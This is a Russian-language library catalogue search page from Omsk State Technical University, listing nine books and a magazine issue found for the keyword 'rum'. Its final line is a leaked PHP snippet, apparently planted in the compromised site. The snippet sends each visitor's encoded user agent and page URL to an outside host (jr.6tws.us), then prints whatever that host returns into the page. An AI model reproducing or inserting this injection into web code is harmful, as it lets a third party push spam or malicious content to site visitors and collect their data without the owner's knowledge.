Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

295 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=РОМ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 9
1. 
Экспертиза напитков. Качество и безопасность [Текст] / В. М. Позняковский [и др.] ; ред. В. М. Позняковский ; дар. О. Д. Худякова, 2007. - 405 с.
Держатели документа (Информация об экземплярах) 

Пособие входит в серию "Экспертиза пищевых продуктов и продовольственного сырья". Содержит наиболее полный учебно-справочный материал по экспертизе спирта этилового, водок, коньяков, вин, пива, ликеро-водочных и безалкогольных напитков, включая импортируемую продукцию.

Книга предназначена для студентов высших учебных заведений, обучающихся по специальности "Товароведение и экспертиза товаров". Может быть использована для студентов технологических и медицинских вузов, изучающих дисциплины, связанные с вопросами качества и безопасности продуктов питания. Представляет практический интерес для производителей, коммерсантов, экспертов, научных работников и потребителей.

2. 
Секреты бармена [Текст] / ред., сост. Л. А. Овсюкова, дар. В. А. Козлова, 1997. - 169, [1] с.
Держатели документа (Информация об экземплярах) 
3. 
Вокруг света. - Журнал, 2012г. № 4
Оглавление 
  • Евдокимов, Алексей. Пять баллов истории / А. Евдокимов. - с.82-90
  • Котов, Павел. 1012 апрель / П. Котов, М. Шифрин. - с.36
  • Гессен, Маша. Предисловие главного редактора / М. Гессен. - с.6
  • Народ, которого нет. - с.184
  • Схватка с морским чудовищем. - с.182-183
  • Выбираем. - с.172-180
  • Немзер, Анна. Рыба гниет / А. Немзер. - с.168-171
  • Аднер, Рон. От чего погибают инновации / Р. Аднер. - с.156-166
  • Жуков, Борис. Соло на губе / Б. Жуков. - с.147-154
  • Зиник, Зиновий. Ермолка под тюрбаном / З. Зиник. - с.134-144
  • Зарубина, Тата. Краденое солнце / Т. Зарубина. - с.124-132
  • Столлман, Ричард. Я разозлился и решил построить мир свободы / Р. Столлман. - с.118-122
  • Шенгелия, Вера. Правила деления / В. Шенгелия. - с.112-117
  • Добрынин, Сергей. Железная логика / С. Добрынин. - с.104-110
  • Гордеева, Ольга. Новые колонизаторы / О. Гордеева. - с.92-103
  • Князева, Дарья. Допотопные острова / Д. Князева. - с.64-80
  • Тулинов, Денис. В поисках человека / Д. Тулинов. - с.62
  • Шаинян, Карен. Кубинский ром / К. Шаинян. - с.56-60
  • Один кадр. - с.48-53
  • Новинская, Елена. Шведская спичка / Е. Новинская. - с.54
  • Почему от мяты "холодно" во рту?. - с.46
  • Где и когда в первый раз был приготовлен шоколад?. - с.46
  • Как египтяне утратили знание своих же собственных иероглифов?. - с.44
  • Какие звуки слышны в открытом космосе?. - с.44
  • Шифрин, Михаил. Две Кореи / М. Шифрин. - с.42
  • Котов, Павел. 1912 апрель / П. Котов, М. Шифрин. - с.40
  • Котов, Павел. 1762 апрель / П. Котов, М. Шифрин. - с.38
  • Котов, Павел. Пробуждение в красках / П. Котов. - с.32-34
  • Борисова, Екатерина. Коллективное сознательное / Е. Борисова. - с.28-30
  • Конрадова, Наталья. О пользе заблуждений / Н. Конрадова. - с.26
  • Шаинян, Карен. Доказательство трюизма / К. Шаинян. - с.24
  • Добрынин, Сергей. Вращайте синхротрон / С. Добрынин. - с.22
  • Космический мусор: остатки былой роскоши. - с.20
  • Первушин, Антон. Космонавтика на пределе возможностей / А. Первушин. - с.18
4. 
Бортник, Ольга Ивановна. Все алкогольные напитки и коктейли мира [Текст] / О. И. Бортник ; дар. О. Д. Худякова, 2009. - 239 с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
5. 
Васильев, Владимир Иванович. Управление циклом выпуска изданий. В помощь экономическому образованию специалистов [Текст] : обзор. информ. / В. И. Васильев, 1978. - 30, [1] с.
Ключевые слова 
6. 
Современное состояние и направления развития ротационных компрессорных машин в Советском Союзе и за рубежом [Текст] : обзор. информ. / В. Д. Лубенец [и др.], 1975. - 41, [2] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
7. 
Коробкина, Зоя Васильевна. Товароведение и экспертиза вкусовых товаров [Текст] : Учебник гриф-МО / З. В. Коробкина, С. А. Страхова, 2003. - 352 с.
8. 
Митвайс, Ирина Ивановна. Товароведение вкусовых товаров [Текст] : Уч.пособие / И. И. Митвайс, 2002. - 480 с.
9. 
Чепурной, Иван Петрович. Товароведение и экспертиза вкусовых товаров [Текст] : Учеб. для вузов по специальности "Товароведение и экспертиза товаров" / И. П. Чепурной, 2002. - 402, [1] с.

Вкусовые товары включают очень разнообразные по составу и свойствам <продовольственные> товары: <чай> и <кофе>, <пряности> и <приправы>, <безалкогольные> и <алкогольные> <напитки>. В данной книге представлены достаточно полные сведения о классификации этих групп товаров, приводятся факторы, формирующие и сохраняющие их <качество>.

Впервые приводятся методологические подходы к проведению экспертизы этой группы товаров с использованием как современных методов анализа, так и оригинальных экспресс-методов.



    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3217 - 31.03.2020
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 2.04 с.14 запросов, 1.65c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;